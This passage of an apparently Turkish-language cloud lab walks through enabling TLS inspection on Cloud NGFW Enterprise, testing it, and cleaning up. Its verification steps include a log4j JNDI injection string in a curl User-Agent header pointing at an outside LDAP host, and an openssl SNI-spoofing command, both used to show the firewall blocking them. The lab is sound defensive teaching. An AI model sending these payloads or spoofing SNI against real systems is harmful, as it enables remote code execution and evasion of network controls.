KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

TLS denetimi, bu açığı kapatmanıza yardımcı olabilir.

Bağlantıyı kapatın ve sanal makineden çıkın:

"ctrl" + c
exit

18. [İsteğe bağlı] TLS denetimi

TLS kaynaklarını yapılandırma

Alan adı/SNI filtreleme, TLS denetimi gerektirmeden çalıştığı için bu bölüm isteğe bağlıdır. Ancak, tehdit önleme özelliğini kullanmayı planlıyorsanız veya gelecekte tam URL filtreleme kullanıma sunulduğunda güvenlik profilinde yola dayalı kurallar oluşturmak istiyorsanız TLS denetimi kullanmak isteyebilirsiniz.

Ayrıca, SNI sahteciliği olasılığı olduğundan TLS denetimi ek bir kontrol katmanı sağlar.

CA havuzu oluşturun. Bu kaynak, NGFW Enterprise için oluşturduğumuz kök CA sertifikasını barındırmak üzere kullanılır.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Kök CA'yı oluşturun. Bu, NGFW Enterprise üzerinden gelen istekler için ek sertifikaları imzalamak üzere kullanılacak CA sertifikasıdır.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Aşağıdaki mesajı görürseniz y yanıtını verin:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Hizmet hesabı oluşturun. Bu hizmet hesabı, NGFW Enterprise için sertifika istemek üzere kullanılır:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Hizmet hesabı için IAM izinlerini ayarlayın:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS politikası YAML dosyasını oluşturun. Bu dosya, belirli kaynaklarla ilgili bilgileri içerir:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS denetimi politikasını içe aktarın:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS'yi etkinleştirmek için uç nokta ilişkilendirmesini güncelleyin:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA sertifikasını alın ve istemcinin CA deposuna ekleyin. NGFW Enterprise, TLS oluşturup CA havuzundan imzalı sertifikayı sunduğundan güven için bu gereklidir:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA sertifikasını istemciye aktarın:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Sanal makineye SSH ile bağlanın, CA sertifikasını /usr/local/share/ca-certificates konumuna taşıyın ve CA deposunu güncelleyin:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Sanal makineden çıkın ve Cloud Shell'de devam edin.

TLS denetimi için güvenlik duvarı kuralını güncelleme

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

TLS denetimiyle kuralları doğrulama

IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek istekleri izin verilen hedeflere gönderin:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Bunlar sorunsuz bir şekilde onaylanmalıdır. Sertifikayı incelemek ve NGFW tarafından imzalanıp imzalanmadığını doğrulamak istiyorsak aşağıdaki komutu çalıştırabiliriz:

curl https://ifconfig.me --max-time 2 -vv

Beklenen çıktı:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Yukarıdaki çıktıda, alınan sertifika daha önce oluşturduğumuz kök CA tarafından imzalandığı için isteğin NGFW Enterprise tarafından TLS denetimine tabi tutulduğunu görüyoruz. (kart sağlayıcı alanı)

TLS denetimi ile SNI sahteciliği yapmaya çalışan kuralları doğrulama

TLS denetimi etkinleştirildiğine göre şimdi davranışı doğrulayalım.

SNI'yi sahteleştirmek için aşağıdaki openssl komutunu çalıştırın:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Beklenen çıktı:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Yukarıdaki çıktıda, daha önce çalışan bir SNI sahteciliği isteğinin TLS denetimi etkinleştirildiğinde artık başarısız olduğunu görüyoruz. Bunun nedeni, TLS denetimi etkinleştirildiğinde NGFW'nin SNI'yı sunucu sertifikasının Konu Alternatif Adı (SAN) ile karşılaştırmasıdır. Eşleşmezse TLS el sıkışması başarısız olur.

TLS denetimi ile alan adı/SNI ve tehdit önlemeyi doğrulama

Artık izin verilen bir alan adına yapılan kötü amaçlı (log4j) istek için daha önce çalıştırılan testi yeniden çalıştıracağız.

Örnek kötü amaçlı (log4j) dosyayı izin verilen bir alan/SNI hedefine gönderin:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Beklenen çıktı:

000

Bu 000 yanıt kodu, bir tehdit tespit edildiğinden bağlantının NGFW tarafından sonlandırılmasından kaynaklanır. Onaylamak için daha ayrıntılı bir çıktı alabiliriz.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Beklenen çıktı:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Yukarıdaki resimde, NGFW'nin TLS incelemesi yaptığı ve kötü amaçlı isteği engellediği görülüyor.

Sanal makineden çıkın:

exit

Temizleme adımları için sonraki bölüme geçin.

19. Temizleme adımları

Temel Kurulum Temizliği

Örnekleri kaldırın:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Cloud Firewall ağ politikasını ve ilişkilendirmeyi kaldırma:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router ve Cloud NAT'i silin:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Ayrılmış IP adreslerini silin:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG ve ilişkilendirme temizleme

Güvenlik Profili Grubu'nu ve Tehdit ve URL Filtreleme Profili'ni şu sırayla silin:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Cloud Firewall uç nokta ilişkilendirmesini silin:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Bulut güvenlik duvarı uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

İsteğe bağlı olarak, aşağıdaki komutu çalıştırarak Cloud NGFW uç noktasının silindiğini doğrulayın:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Uç noktanın durumu şu şekilde gösterilmelidir:

STATE: DELETING

İşlem tamamlandığında uç nokta artık listelenmez.

[İsteğe bağlı] TLS temizleme

İsteğe bağlı TLS denetimi yapılandırmalarına devam ettiyseniz TLS kaynaklarını temizlemek için aşağıdaki komutları çalıştırın.

TLS politikasını silme:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Kök CA'yı ve CA havuzunu devre dışı bırakma ve silme:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Alt ağ ve VPC temizliği

Son olarak, alt ağı ve VPC ağını silin:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Sonuç ve dikkat edilmesi gereken noktalar

Bu laboratuvar çok basittir ve yalnızca internete giden tek bir sanal makineyle test yapar. Gerçek dünya senaryolarında VPC birden fazla kaynak içerebilir ve trafik her yöne (K/G ve D/B) gidebilir. Alan/SNI filtreleme için güvenlik duvarı kuralı bir EGRESS 0.0.0.0/0 olduğundan "her şeyi yakalar" ve ağ politikasında en düşük öncelikli kural olarak yapılandırılması GEREKİR. Aksi takdirde trafik beklenmedik şekilde eşleşir ve varsayılan urlFiltering kuralına göre izin verilir/reddedilir.

Ayrıca kapsamı sınırlamak için Ağ Türleri'ni kullanmayı da düşünebilirsiniz. Bu, doğu/batı trafiğinin kurala eşleşmesini önlemek içindir. Alternatif olarak, E/B trafiği için daha yüksek öncelikli bir izin kuralı oluşturun.

Lütfen alan/SNI filtrelemeyi daha ayrıntılı bir şekilde ele alan en iyi uygulamalar dokümanını inceleyin.

21. Tebrikler!

Tebrikler, Cloud NGFW Enterprise for Domain and SNI filtering w/ optional TLS inspection adlı laboratuvarı başarıyla tamamladınız.